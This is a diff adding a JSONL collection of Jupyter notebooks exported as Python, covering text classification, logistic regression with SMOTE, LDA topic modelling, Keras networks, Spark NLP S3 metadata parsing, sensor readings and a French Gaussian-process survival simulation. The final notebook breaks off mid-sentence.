diff --git "a/543.jsonl" "b/543.jsonl" new file mode 100644--- /dev/null +++ "b/543.jsonl" @@ -0,0 +1,119 @@ +{"seq_id":"73186174447","text":"# + papermill={\"duration\": 6.396283, \"end_time\": \"2021-11-15T16:58:10.933994\", \"exception\": false, \"start_time\": \"2021-11-15T16:58:04.537711\", \"status\": \"completed\"}\n# Required imports\nimport matplotlib\nimport numpy as np\nimport pandas as pd\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.feature_extraction.text import TfidfTransformer\nfrom sklearn.utils import shuffle\nfrom sklearn.metrics import classification_report, accuracy_score\nimport re\n# from tensorflow.keras.utils import to_categorical\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.ensemble import BaggingClassifier\nfrom sklearn.linear_model import LogisticRegression\nfrom nltk.corpus import stopwords\nstop_words = set(stopwords.words('english'))\nimport pickle\n\n\n# + papermill={\"duration\": 0.018713, \"end_time\": \"2021-11-15T16:58:10.966993\", \"exception\": false, \"start_time\": \"2021-11-15T16:58:10.948280\", \"status\": \"completed\"}\n# cleaning data\ndef clean_post(post):\n post = post.lower()\n post = re.sub(r\"\\n\", \" \", post)\n post = re.sub(\"[\\<\\[].*?[\\>\\]]\", \" \", post)\n post = re.sub(r\"[^a-z ]\", \" \", post)\n post = re.sub(r\"\\b\\w{1,3}\\b\", \" \", post)\n return \" \".join([x for x in post.split() if x not in stop_words])\n\n\n# + papermill={\"duration\": 0.33453, \"end_time\": \"2021-11-15T16:58:11.315565\", \"exception\": false, \"start_time\": \"2021-11-15T16:58:10.981035\", \"status\": \"completed\"}\n# Different techniques for tackling class imbalance\nfrom imblearn.under_sampling import RandomUnderSampler, TomekLinks, NearMiss\nfrom imblearn.over_sampling import RandomOverSampler, SMOTE\n\ndef balance_data(x, y, _type):\n if _type == 0:\n ros = RandomOverSampler(random_state=42)\n return ros.fit_resample(x, y)\n elif _type == 1:\n rus = RandomUnderSampler(random_state=42, replacement=True)\n return rus.fit_resample(x, y)\n elif _type == 2:\n smote = SMOTE()\n return smote.fit_resample(x, y)\n elif _type == 3:\n nm = NearMiss()\n return nm.fit_resample(x, y)\n elif _type == 6:\n tl = TomekLinks()\n return tl.fit_resample(x, y)\n return x, y\n # Another technique is penalizing the algo with class_weight=balanced, using stratified cross validation\n\n\n# + papermill={\"duration\": 54.802999, \"end_time\": \"2021-11-15T16:59:06.132088\", \"exception\": false, \"start_time\": \"2021-11-15T16:58:11.329089\", \"status\": \"completed\"}\n# Load data\ndata = pd.read_csv('/home/starc52/split_reddit_data/train_and_valid.csv')\ndata = shuffle(data)\n\n# Class split stats\nprint(data.groupby(['mental_disorder'])[['mental_disorder']].describe())\nx = data['post'].apply(lambda post: clean_post(post))\n\n# Vectorizing text data\ncount_vect = CountVectorizer()\nX_counts = count_vect.fit_transform(x)\ntfidf_transformer = TfidfTransformer()\nX = tfidf_transformer.fit_transform(X_counts)\n\n# + papermill={\"duration\": 0.208682, \"end_time\": \"2021-11-15T16:59:06.354669\", \"exception\": false, \"start_time\": \"2021-11-15T16:59:06.145987\", \"status\": \"completed\"}\nlabel_encoder = LabelEncoder()\ny = label_encoder.fit_transform(np.array(data['mental_disorder']))\n# y = to_categorical(y1)\n\n# 60-20-20 split\nX_train, X_valid, y_train, y_valid = train_test_split(X, y, test_size=0.176, random_state=321)\n\n\n# + papermill={\"duration\": 0.018512, \"end_time\": \"2021-11-15T16:59:06.386567\", \"exception\": false, \"start_time\": \"2021-11-15T16:59:06.368055\", \"status\": \"completed\"}\ndef get_metrics(y_true, y_pred):\n result1 = classification_report(y_true, y_pred)\n print('Classification Report: ', result1)\n result2 = accuracy_score(y_true, y_pred)\n print('Accuracy: ', result2, \"\\n\\n\")\n\n\n# + papermill={\"duration\": null, \"end_time\": null, \"exception\": false, \"start_time\": \"2021-11-15T16:59:06.399493\", \"status\": \"running\"}\nimport gc\n\n# Creating the model and checking it for various undersampled cases\nX_tr, y_tr = X_train, y_train\nprint('#'*110)\nprint()\nprint()\nprint()\nmodel = BaggingClassifier(base_estimator=LogisticRegression(max_iter=10000))\nX_train, y_train = balance_data(X_tr, y_tr, 6)\nmodel.fit(X_train, y_train)\npickle.dump(model, open(\"/home/starc52/models/OVR.pickle.dat\", \"wb\"))\nprint()\nprint()\nprint(model.n_features_in_)\nprint('#'*110)\n","repo_name":"tgv2002/IRE-Project-Team-7","sub_path":"OVR/OutputTraining.ipynb","file_name":"OutputTraining.ipynb","file_ext":"py","file_size_in_byte":4295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"10194048674","text":"# # Logistic Regression\n\n# +\n# # !pip install imblearn\n\nimport os\nimport pandas as pd\nimport numpy as np\n\n# store elements as dictionary keys and their counts as dictionary values\nfrom collections import Counter\n\n# scikit-learn\nfrom sklearn.model_selection import train_test_split\n\nfrom sklearn.preprocessing import MinMaxScaler, OneHotEncoder, LabelEncoder\nfrom sklearn.compose import ColumnTransformer, make_column_transformer\nfrom sklearn.pipeline import make_pipeline\n\n# Classification metrics\nfrom sklearn.metrics import confusion_matrix, classification_report\n\n# Function for creating model pipelines - sklearn\nfrom sklearn.pipeline import make_pipeline\n\n# Function for creating model pipelines - imblearn\nfrom imblearn.pipeline import make_pipeline as imbl_pipe\n\n# Over-sampling using SMOTE\nfrom imblearn.over_sampling import SMOTE\n# Import classifier\nfrom sklearn.linear_model import LogisticRegression \nimport datetime as dt\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import MinMaxScaler\npd.set_option('display.max_columns', None)\npd.set_option('display.max_rows', None)\nfrom sklearn.model_selection import GridSearchCV\n# -\n\n# ## Read proprocessed data\n\ndf = pd.read_parquet('df_age_18.parquet')\n\n# ## Display counts and percentages of target variable\n\n# +\n# Display counts and percentages\nvalue_counts = df['Y'].value_counts()\npercentages = df['Y'].value_counts(normalize=True) * 100\n\nresult_df = pd.DataFrame({'Count': value_counts, 'Percentage': percentages})\nprint(result_df)\n# -\n\n# ## Drop unnecessary columns\n\ndf.drop(columns=['#','EBANK_FIRST_OPEN_DATE','CIF_OPEN_DATE',\n 'MB2_FIRST_OPEN_DATE',\n 'SYM_RUN_DATE'],inplace=True)\n\n# ## Check null columns\n\ndf.isnull().sum()\n\n# ## Fill missing values with 0\n\ndf.fillna(0,inplace=True)\n\n# ## Recheck after fill missing values\n\ndf.isnull().sum()\n\n# ## Create a dataframe for correlation calculation\n\ndf_corr = df[df.select_dtypes(include='number').columns.tolist()]\n\n\n# ## Define function for filter correlation with threhold\n\n# +\n# with the following function we can select highly correlated features\n# it will remove the first feature that is correlated with anything other feature\n\ndef correlation(dataset, threshold):\n col_corr = set() # Set of all the names of correlated columns\n corr_matrix = dataset.corr()\n for i in range(len(corr_matrix.columns)):\n for j in range(i):\n if abs(corr_matrix.iloc[i, j]) > threshold: # we are interested in absolute coeff value\n colname = corr_matrix.columns[i] # getting the name of column\n col_corr.add(colname)\n return col_corr\n\n\n# -\n\ncorr_features = correlation(df_corr, 0.7)\nlen(set(corr_features))\n\ncorr_features\n\n# ## Drop columns with high correlation\n\ndf_filtered = df.drop(corr_features,axis=1)\n\n# ## Save filtered data to parquet file\n\ndf_filtered.to_parquet('df_filtered_corr.parquet')\n\ndf_filtered = pd.read_parquet('df_filtered_corr.parquet')\n\n# ## Separate dataframe into separate object\n\n# +\n# Object for target variable\ny = df_filtered.Y\n\n# object for input features\nX = df_filtered.drop(['CLIENT_NO','Y'], axis=1)\n\n# display shapes of X and y\nprint(X.shape, y.shape)\n# -\n\n# ## List numerical features\n\nnum_columns = X.select_dtypes(include='number').columns.tolist()\nnum_columns\n\n# ## List categorical features\n\ncat_columns = X.select_dtypes(include='object').columns.tolist()\ncat_columns\n\n# ## Split X and y into train and test sets\n\n# +\nrandom_state = 10\n\n# Split X and y into train and test sets\nX_train, X_test, y_train, y_test = train_test_split(X, y,\n test_size=0.3,\n random_state=random_state,\n stratify=df_filtered.Y)\n\n# Print number of observations in X_train, X_test, y_train, and y_test\nprint(len(X_train), len(X_test), len(y_train), len(y_test))\n# -\n\nX_train.info()\n\n# +\nnum_features = []\n\nfor i in num_columns:\n location = X.columns.get_loc(i)\n num_features.append(location)\nprint(num_features)\n\n# +\ncat_features = []\n\nfor i in cat_columns:\n location = X.columns.get_loc(i)\n cat_features.append(location)\nprint(cat_features)\n# -\n\n# Define column transformer\n# Need to be numeric not string to specify columns name \npreprocess = make_column_transformer(\n (MinMaxScaler(), num_features),\n (OneHotEncoder(sparse=False), cat_features)\n)\npreprocess\n\n# ## Fit preprocessing pipeline on train data and apply to train and test data\n\npreprocess.fit(X_train)\n\n# Apply preprocessing pipeline to train and test data\nX_train_preprocessed = preprocess.transform(X_train)\nX_test_preprocessed = preprocess.transform(X_test)\n\n# ## Define SMOTE object and resample train data to address class imbalance\n\n# Define SMOTE object\nsmote = SMOTE(sampling_strategy='auto', random_state=random_state)\n\n# Fit SMOTE on preprocessed train data\nX_train_resampled, y_train_resampled = smote.fit_resample(X_train_preprocessed, y_train)\n\n# ## Save resampled train and test data to parquet files\n\npd.DataFrame(X_train_resampled).to_parquet(\"X_train_resampled.parquet\",index=False)\npd.DataFrame(y_train_resampled).to_parquet(\"y_train_resampled.parquet\",index=False)\npd.DataFrame(X_test_preprocessed).to_parquet(\"X_test_preprocessed.parquet\",index=False)\npd.DataFrame(y_test).to_parquet(\"y_test.parquet\",index=False)\n\n# # Define logistic regression model and fit on preprocessed train data\n\nlr = LogisticRegression(random_state=random_state)\nlr.fit(X_train_preprocessed, y_train)\n\n\n\n# ## Make predictions on test and resampled train data and print classification reports\n\npredictions_test = lr.predict(X_test_preprocessed)\nprint(f\"First 10 Predictions: {predictions_test[:10]}\")\nprint(f\"First 10 Actual labels: {y_test[:10].tolist()}\")\n\npredictions_train = lr.predict(X_train_resampled)\nprint(f\"First 10 Predictions: {predictions_train[:10]}\")\nprint(f\"First 10 Actual labels: {y_train_resampled[:10].tolist()}\")\n\nprint(classification_report(y_test, predictions_test))\n\n\nprint(classification_report(y_train_resampled, predictions_train))\n\n\ncm = confusion_matrix(y_test, predictions_test)\nprint(cm)\n\nimport joblib\nfilename = './Models/Logistic_regression.sav'\njoblib.dump(lr, filename)\n\n\n","repo_name":"minh-tn100/UC_Module20_Capstone_project1","sub_path":"Notebooks/Training-SMOTE_Logistic.ipynb","file_name":"Training-SMOTE_Logistic.ipynb","file_ext":"py","file_size_in_byte":6327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"27784391591","text":"import pandas as pd\nimport numpy as np\n\nfilepath = '../dataset/final_filter_data/feiyi.json'\n# 读取数据\ndata=pd.read_json(filepath, encoding='utf-8') \n# 过滤出有价值的数据\ndata = data[data['is_used'] == 1]\n# 测试数据\ntest_data = data[1:6]\ntest_data[0:2]\ndata.columns\ntest_data_one = test_data[0:1]\ntest_data_one\n\n# 兼容自己提取的词\ntypes = type(test_data_one.rwq_extract)\nk = test_data_one.rwq_extract[7] # 行索引\nk_list = k['keywords'].split(' ') # 转换为json\nimport jieba\nword_list = jieba.cut(test_data_one.description)\n\n\n# 数据处理\ntest_data_list = [];\ndescription = test_data.description\n# 分词\n\n# 分词\nimport jieba\nfor d in description:\n word_list = jieba.cut(d)\n print(\"/ \".join(word_list))\n test_data_list.append(word_list)\nwords_ls = test_data_list\n\n\n# +\ndef stopwordslist(filepath):\n stopwords = [line.strip() for line in open(filepath).readlines()]\n return stopwords\ndef filter_seg_list(seg_list):\n stop_words = stopwordslist('/Users/renweiqiang/Desktop/毕业论文/学习总结/LDA_Python/文本预处理/stop_words.txt')\n filter_seg = []\n for word in seg_list:\n if word not in stop_words:\n filter_seg.append(word)\n filter_seg = [i for i in filter_seg if i != '']\n return filter_seg\ndef filter_number_and_single(word):\n if(word.isdigit()):\n return False\n length = len(word)\n if(length not in [0, 1]):\n return word\n return False\nwords_ls = []\n# new\n\n\ndescription = data.description\nfor i in description:\n keywords = filter_seg_list(jieba.cut(i)) # 去除停用词\n# for j in keywords:\n \n keywords = [j for j in keywords if filter_number_and_single(j) != False]\n #keywords_list.append( ' '.join(keywords) )# TF IDF计算权重\n words_ls.append(keywords)\nwords_ls \n# -\n\nwords_ls = []\nfor index, row in data.iterrows(): # 便利dataframe的最佳方式\n des = row.description # 描述\n rwq_k = row.rwq_extract['keywords'].split(' ')\n if not des.strip():\n final_keywords = rwq_k\n else:\n keywords = filter_seg_list(jieba.cut(des)) # 去除停用词\n keywords = [j for j in keywords if filter_number_and_single(j) != False]\n # print(row.rwq_extract)\n #k = row.rwq_extract # 直接用\n if k:\n #k_list = k['keywords'].split(' ')\n final_keywords = list(set(rwq_k).union(set(keywords))) # 取并集\n else:\n final_keywords = keywwords\n words_ls.append(final_keywords)\nwords_ls\n# types = type(test_data_one.rwq_extract)\n# k = test_data_one.rwq_extract[7] # 行索引\n# k_list = k['keywords'].split(' ') # 转换为json\n# import jieba\n# word_list = jieba.cut(test_data_one.description)\n\nfrom gensim import corpora, models\ndictionary = corpora.Dictionary(words_ls)\ncorpus = [dictionary.doc2bow(words) for words in words_ls]\nlda = models.ldamodel.LdaModel(corpus=corpus, id2word=dictionary, num_topics=5)\n# 打印所有主题,每个主题显示4个词\nfor topic in lda.print_topics(num_words=4):\n print(topic)\n\n# 对关键词进行LDA\nkeywords = data.keywords\nwords_ls = []\nfor word in keywords:\n temp = []\n temp = word.split(\",\")\n temp = [element for element in temp if not (element == '非遗' or element == '' or element == None or element == '非物质文化遗产')]\n words_ls.append(temp)\nwords_ls\n\nfrom gensim import corpora, models\ndictionary = corpora.Dictionary(words_ls)\ncorpus = [dictionary.doc2bow(words) for words in words_ls]\nlda = models.ldamodel.LdaModel(corpus=corpus, id2word=dictionary, num_topics=5)\n# 打印所有主题,每个主题显示4个词\nfor topic in lda.print_topics(num_words=5):\n print(topic)\n\n# # 参考\n# - https://blog.csdn.net/ls13552912394/article/details/79349809\n","repo_name":"rwqzcq/Dissertation","sub_path":"code/python_data_analyse/data_filter.ipynb","file_name":"data_filter.ipynb","file_ext":"py","file_size_in_byte":3762,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"5526648505","text":"# + id=\"03a30227\"\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.datasets import load_iris\nfrom sklearn.metrics import confusion_matrix\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.utils import np_utils\nimport numpy as np\n\nfrom IPython import display\ndisplay.clear_output()\n\n# + id=\"35f25df1\"\niris = load_iris()\npredictor = iris.data\nclasses = iris.target\n\n# + id=\"f258630a\"\nclasse_dummy = np_utils.to_categorical(classes)\nclasse_dummy\n\n# + id=\"783cd686\"\nX_train, X_test, Y_train, Y_test = train_test_split(predictor, classe_dummy, test_size = 0.3, random_state = 0)\n\n# + id=\"37770044\"\nmodel = Sequential()\nmodel.add(Dense(units = 5, input_dim = 4))\nmodel.add(Dense(units = 4))\nmodel.add(Dense(units = 3, activation = 'softmax'))\n\n# + id=\"6b9916f6\"\nmodel.summary()\n\n# + id=\"9446b995\"\nmodel.compile(optimizer = 'adam', loss = 'categorical_crossentropy', metrics = ['accuracy'])\nmodel.fit(X_train, Y_train, epochs = 1000, validation_data = (X_test, Y_test))\n\n# + id=\"363c2e9c\"\npredict = model.predict(X_test)\npredict = (predict > 0.5)\npredict\n\n# + id=\"757cb2ba\"\ny_test_matrix = [np.argmax(x) for x in Y_test]\npredict_matrix = [np.argmax(x) for x in predict]\nconfusion = confusion_matrix(y_test_matrix, predict_matrix)\nconfusion\n\n# + id=\"69b00afb\"\nfrom keras.layers import Dropout\nimport matplotlib.pyplot as plt\nfrom keras.datasets import mnist\n\n# + id=\"43a27bbe\"\n(X_train, Y_train), (X_test, Y_test) = mnist.load_data()\n\n# + id=\"dbd313ef\"\nX_train = X_train.reshape((len(X_train), np.prod(X_train.shape[1:])))\nX_test = X_test.reshape((len(X_test), np.prod(X_test.shape[1:])))\n\n# + id=\"17c2d9e4\"\nX_train = X_train.astype('float32')\nX_test = X_test.astype('float32')\n\n# + id=\"5c36ce77\"\nX_train /= 255\nX_test /= 255\n\n# + id=\"2d4a4742\"\nY_train = np_utils.to_categorical(Y_train, 10)\nY_test = np_utils.to_categorical(Y_test, 10)\n\n# + id=\"d758d76e\"\nmodel = Sequential()\nmodel.add(Dense(units = 64, activation = 'relu', input_dim = 784))\nmodel.add(Dropout(0.2))\nmodel.add(Dense(units = 64, activation = 'relu'))\nmodel.add(Dropout(0.2))\nmodel.add(Dense(units = 64, activation = 'relu'))\nmodel.add(Dropout(0.2))\nmodel.add(Dense(units = 10, activation = 'softmax'))\n\n# + id=\"77f26b64\"\nmodel.summary()\n\n# + id=\"1c30aa12\"\nmodel.compile(optimizer = 'adam', loss = 'categorical_crossentropy', metrics = ['accuracy'])\nmodel.fit(X_train, Y_train, epochs = 20, validation_data = (X_test, Y_test))\n\n# + id=\"3c236c00\"\npredict = model.predict(X_test)\npredict\n\n# + id=\"93b1aeb2\"\nY_test_matrix = [np.argmax(x) for x in Y_test]\npredict_matrix = [np.argmax(x) for x in predict]\nconfusion = confusion_matrix(Y_test_matrix, predict_matrix)\nconfusion\n\n# + id=\"b6a304de\"\nfrom sklearn.preprocessing import LabelEncoder, OneHotEncoder, StandardScaler\nfrom sklearn.compose import make_column_transformer\nimport pandas as pd\n\n# + id=\"3918e470\"\ndata = pd.read_csv('Credit2.csv', sep = ';')\n\n# + id=\"a064d673\"\nX = data.iloc[:, 1:10].values\nY = data.iloc[:, 10].values\n\n# + id=\"b15e43b4\"\nlabel = LabelEncoder()\nX[:, 0] = label.fit_transform(X[:, 0])\n\n# + id=\"d24a3e51\"\nonehotencoder = make_column_transformer((OneHotEncoder(categories='auto', sparse = False), [1]), remainder = 'passthrough')\nX = onehotencoder.fit_transform(X)\n\n# + id=\"bb6f55b1\"\nlabelencoder_Y = LabelEncoder()\nY = labelencoder_Y.fit_transform(Y)\n\n# + id=\"c76553d8\"\nX_train, X_test, y_train, y_test = train_test_split(X, Y, test_size = 0.2, random_state = 0)\n\n# + id=\"246baa2a\"\nsc = StandardScaler()\nX_train = sc.fit_transform(X_train)\nX_test = sc.fit_transform(X_test)\n\n# + id=\"cc072e17\"\nclassifier = Sequential()\nclassifier.add(Dense(units = 6, kernel_initializer = 'uniform', activation = 'relu', input_dim = 13))\nclassifier.add(Dense(units = 6, kernel_initializer = 'uniform', activation = 'relu'))\nclassifier.add(Dense(units = 1, kernel_initializer = 'uniform', activation = 'sigmoid'))\nclassifier.compile(optimizer = 'adam', loss = 'binary_crossentropy', metrics = ['accuracy'])\nclassifier.fit(X_train, y_train, batch_size = 10, epochs = 100)\n\n# + id=\"be33e648\"\npredict = classifier.predict(X_test)\npredict\n","repo_name":"MarcBarreto/Data-Science","sub_path":"Learning/Artificial Neural Networks/neural_network_keras.ipynb","file_name":"neural_network_keras.ipynb","file_ext":"py","file_size_in_byte":4096,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"20405961178","text":"from docs_module import langs\nimport pandas as pd, boto3, re, pytz\nfrom datetime import datetime\nfrom tabulate import tabulate\npd.set_option(\"display.max_rows\",1000)\n\n# ### First download real status from S3\n\ns3 = boto3.client('s3')\nbucket = 'auxdata.johnsnowlabs.com'\nbucket_url = f\"https://s3.console.aws.amazon.com/s3/object/{bucket}\"\ndownload_url = f\"s3://{bucket}/\"\n\nlangs_arr = dict(langs.lang_codes).keys()\n\n# +\nsplitter = \"(\"+\"|\".join([f\"_{x}_\" for x in langs_arr])+\")\"\n\ndef get_s3_metadata(prefix=\"clinical/models\"):\n return s3.list_objects_v2(\n Bucket=bucket,\n EncodingType='url',\n Prefix=prefix)\n\ndef filter_desired_names(content):\n return [k[\"Key\"] for k in content\n if k[\"Key\"][-3:]==\"zip\" and \n \"2ng\" not in k[\"Key\"]and \n \"icdoem\" not in k[\"Key\"] and\n \"snomed_l\" not in k[\"Key\"] and\n \"rxnorm_l\" not in k[\"Key\"] and\n \"/resolve\" not in k[\"Key\"] and\n \"ensembleresolve\" not in k[\"Key\"] and\n \"noncontrib\" not in k[\"Key\"] and\n \"embeddings_icd10_base\" not in k[\"Key\"] and\n \"icdem\" not in k[\"Key\"] and\n \"demo\" not in k[\"Key\"] and\n \"stopwords\" not in k[\"Key\"] and\n \"_use_xling\" not in k[\"Key\"] and \n (\"2.4.\" in k[\"Key\"] or \"2.5.\" in k[\"Key\"] or \"2.6.\" in k[\"Key\"] ) \n ]\n\ndef split_stuff(x):\n s3_meta = [x.split(\"/\") for x in x]\n s3_meta = [(\"/\".join(x[:2]), *re.split(splitter,x[-1])) for x in s3_meta]\n s3_meta = [(a,b,c.replace(\"_\",\"\"),*d.replace(\".zip\",\"\").split(\"_\")) for a,b,c,d in s3_meta]\n return s3_meta\n\ndef aggregate_stuff(x):\n for y in x:\n if len(y)==7:\n print(y)\n x = pd.DataFrame(x, columns=[\"repo\",\"name\",\"language\",\"compatibility\",\"spark_version\",\"ts\"])\n x[\"latest_date\"] = x.ts.apply(lambda x: datetime.fromtimestamp(int(x)/1000,pytz.utc).strftime(\"%Y-%m-%d\"))\n x = x.groupby([\"repo\",\"name\",\"language\"]).agg({\"compatibility\":min, \"spark_version\":max, \"latest_date\":max, \"ts\":max}).reset_index()\n x = x[x.compatibility.str.startswith(\"2.4\")|x.compatibility.str.startswith(\"2.5\")|x.compatibility.str.startswith(\"2.6\")].reset_index(drop=True)\n return x\n\ndef get_clean_metadata(prefix=\"clinical/models\"):\n x = get_s3_metadata(prefix)\n x = filter_desired_names(x[\"Contents\"])\n x = split_stuff(x)\n x = aggregate_stuff(x)\n return x\n\n\n# -\n\nx = get_clean_metadata(\"public/models\")\n\n\n\ns3_meta = get_clean_metadata(\"public/models\")\ns3_meta[\"file\"] = s3_meta.name+\"_\"+s3_meta.language+\"_\"+s3_meta.compatibility+\"_\"+s3_meta.spark_version+\"_\"+s3_meta.ts+\".zip\"\n\ns3_meta.to_csv(\"models_metadata.csv\")\n\n# ### Then load the manually curated csv's\n# - Class Metadata (Manual from Andres and Christian)\n# - Models Metadata (Manual from Andres and Christian)\n# - Parsed from existing MDs in notebook #1 \n\ns3_meta[~s3_meta.name.isin(md_meta.name)]\n\ncls_meta = pd.read_csv(\"docs_module/metadata/class_metadata_all.csv\").fillna(\"\")\nex_meta = pd.read_csv(\"docs_module/metadata/model_metadata_existing.csv\").fillna(\"\")\n\nmdcls_meta = pd.merge(md_meta, cls_meta, on=\"model_class\")\nprint(md_meta.shape, cls_meta.shape, mdcls_meta.shape)\n\nmds3_meta = pd.merge(s3_meta, mdcls_meta, on=[\"repo\",\"name\",\"language\"], how=\"left\")\nprint(s3_meta.shape, mdcls_meta.shape, mds3_meta.shape)\n\nfull_meta = pd.concat([mds3_meta, ex_meta], axis=0, sort=False)\nprint(mds3_meta.shape, ex_meta.shape, full_meta.shape)\n\nset(sorted(list(ex_meta.columns))).difference(sorted(list(md_meta.columns)))\n\nset(sorted(list(md_meta.columns))).difference(sorted(list(ex_meta.columns)))\n\n\ndef tabulate_row(x):\n return tabulate(pd.DataFrame(x).dropna(),tablefmt=\"github\")\nfull_meta[\"table\"] = \\\n full_meta[[\"name\",\"model_class\",\"compatibility\",\"license\",\"edition\",\"inputs\",\"output\",\"language\",\"dimension\",\"case_sensitive\"]]\\\n .apply(tabulate_row, axis=1)\n\n\n","repo_name":"JohnSnowLabs/spark-nlp-models","sub_path":"python/2 Dataset Merging.ipynb","file_name":"2 Dataset Merging.ipynb","file_ext":"py","file_size_in_byte":3845,"program_lang":"python","lang":"en","doc_type":"code","stars":109,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"18032095178","text":"# +\ntempLines = []\ncount = 0\nnewLines = []\nnewLines.append(\"{\")\n\nwith open('kss-recognition-All.txt') as data:\n lines = data.readlines()\nfor line in lines:\n line = \"./datasets/kss/audio/\" + line\n for letter in range(len(line)):\n if line[letter] == '|':\n if count > 0:\n line = ' \"' + line[0:letter-1] + '\",'\n line = line.replace(\"|\", \":\")\n tempLines.append(line)\n count = 0\n break\n count+=1\n# -\n\nfor line in tempLines:\n line = line[0:39] + '\": \"' + line[39:-1]\n line = line[0:25] + line[27:-1] + '\",'\n newLines.append(line)\nnewLines.append(\"}\")\n\nf = open('kss-recognition-All.json', 'w')\nfor line in newLines:\n f.write(line + \"\\n\")\nf.close()\n\n\n","repo_name":"hwRG/Python_Practice","sub_path":"KSS_Script_Purify.ipynb","file_name":"KSS_Script_Purify.ipynb","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"17547252272","text":"# # Bevegelse med PASCO sensorer\n#\n# ## Sum av posisjon og reist avstand\n# Bruk en bevegelsessensor og en //code.Node cart til å måle på bevegelse. Formålet med øvelsen er å øve kodeteknisk. \n#\n#\n\n# +\nfrom pylab import *\nimport time\nfrom pasco.pasco_ble_device import PASCOBLEDevice\nfrom pasco.code_node_device import CodeNodeDevice\n\nsmilemunn = [[0,0],[4,0],[2,1],[0,2],[1,3],[2,3],[3,3],[4,2]]\n\ncodenode = CodeNodeDevice()\ncodenode.connect_by_id('354-873')\ncodenode.set_leds_in_array(smilemunn)\n\nbevegelse = PASCOBLEDevice()\nbevegelse.connect_by_id('943-452')\n\nfor i in range(10):\n p = codenode.read_data('MagneticFieldStrength')\n a = bevegelse.read_data('Position')\n print(p,a)\n\ncodenode.disconnect() \nbevegelse.disconnect()\n# -\n\n# ## Friksjon\n# Mål friksjon mot underlaget med en //code.Node\n\n# +\n# Documentation: https://pypi.org/project/pasco/\nimport time\nfrom pasco.code_node_device import CodeNodeDevice\n\ncodenode = CodeNodeDevice()\ncodenode.connect_by_id('354-873')\nsmilemunn = [[0,0],[4,0],[2,1],[0,2],[1,3],[2,3],[3,3],[4,2]]\ncodenode.set_leds_in_array(smilemunn)\n\nm = 0.1\ndata = 'Accelerationy'\n\nfor i in range(10):\n ay = codenode.read_data(data)\n print(\"Friksjonskraft\",ay)\n time.sleep(1)\n\ncodenode.disconnect()\n","repo_name":"vegardlr/python-eksempler","sub_path":"jupyter/Bevegelse.ipynb","file_name":"Bevegelse.ipynb","file_ext":"py","file_size_in_byte":1255,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"70806891246","text":"# # 1) Simulation de données\n# ### Simulation des observations de variables fonctionnelles\n\n# +\nfrom Classes import * \nfrom Simu import *\nfrom NLL import *\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport scipy as sc\nfrom scipy import integrate\nimport sympy as sy\nfrom scipy import linalg\nimport pylab as pl\nimport math as ma\nimport time \n# %matplotlib inline\n\n\n\nN=1000\nD=1\nn_t_moy=10\nvaru=5\nGamma=0.1\n# Simulation des temps \n(T,L,M_nt)=temps(N,D,n_t_moy)\n(U,V1,V2)=X_Params(varu,N,D)\nvec=np.reshape(M_nt,(N*D,1))\n\nfig1 = plt.figure().add_subplot(111)\nfig1.hist(vec,bins=20)\nfig2 = plt.figure().add_subplot(111)\nfig2.hist(T,bins=20)\n\n\n# Exemple de signe vital simulé\nt=np.linspace(0,1,1000)\nX=X_fonc(t,U[0,0],V1[0,0,:],V2[0,0,:])\n\nfig2 = plt.figure().add_subplot(111)\nfig2.plot(t,X.val())\n\n\n#plt.savefig(\"Ftraj.png\")\nXdata=X_obs(U,V1,V2,L,std=Gamma)\nfig2.plot(L[0][0],Xdata[0][0],marker=\"d\",markersize=10,linestyle=\"none\")\nfig2.plot(T[0],Xdata[0][0][len(Xdata[0][0])-1],marker=\"s\",markersize=5,color=\"r\")\n#plt.savefig(\"Xobs.png\")\n# -\n\n# ### Simulation des labels $Y$, $C$ et $Y^C$\n\n# +\n# %matplotlib inline\n\nSigma=0.\n\ntrue_beta=beta(num=1)\n\n# Nombre de variables scalaires\np=1\n# Génération de Alpha et Z\nAlpha=np.zeros(p,float)\nZ=np.zeros((N,p),float)\n(Y,C,Yc,Delta)=simu_YC(Alpha,true_beta,Z,U,V1,V2,T,Sigma)\nprint(\"Moyenne et écart type des labels non censurés Y\")\nprint( np.mean(Y))\nprint(np.std(Y))\n\nprint( \"Pourcentage de données non censurées\")\nprint(100.*np.sum(Delta)/N)\n\nfig1 = plt.figure().add_subplot(111)\nfig1.hist(Y,bins=20)\n\n# -\n\n# # 1) Régression GP sur Python pour l'inférence des variables GP\n#\n# Nous allons commencer par l'utilisation la plus basique du package pyGPs qui est similaire à l'application que nous avons faîte des Gaussians Process sur R, à savoir la régression sur processus gaussien avec l'hypothèse d'un noyau exponentiel quadratique et d'une moyenne nulle. Cette utilisation nous est suffisante pour obtenir les estimateurs des paramètres de covariance (la variance et la portée de la fonction de covariance, ainsi que l'erreur résiduelle du modèle) que nous utiliserons dans un deuxième temps comme variables GP de la régression sur les logarithmes des temps de survie. \n#\n# ## A) Un premier exemple tiré du package\n#\n# On utilise le modèle de Régression sur Processus Gaussien :\n#\n# $y_i = f(t_i) + \\epsilon_i$ où les $\\epsilon_i$ sont des erreurs gaussiennes $\\mathcal{N}(0,sig)$ iid.\n#\n# et $f\\sim \\mathcal{GP}(m,k)$.\n#\n# Ce modèle de régression peut être utilisé dans le package pyGPs en utilisant la classe pyGPs.GPR(). Les options par défauts sont m=0, k=noyau exponentiel quadratique, une vraisemblance gaussienne 